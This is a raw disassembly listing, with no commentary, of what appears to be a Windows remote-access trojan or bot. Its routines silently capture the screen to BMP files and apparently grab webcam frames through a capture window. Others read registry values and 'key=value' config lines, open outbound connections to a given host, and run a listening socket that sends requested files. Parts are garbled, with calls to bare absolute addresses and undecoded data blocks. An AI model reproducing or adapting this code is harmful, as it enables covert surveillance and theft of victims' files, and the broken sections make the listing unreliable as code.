		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
		dd 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 271092Ch
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2670858h
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22DA314h, 43D12868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A2AAE856h, 6A90022Dh, 0A69EE864h, 33900227h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 45E89064h, 6A0227A6h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 271092Ch
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2750AD6h
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
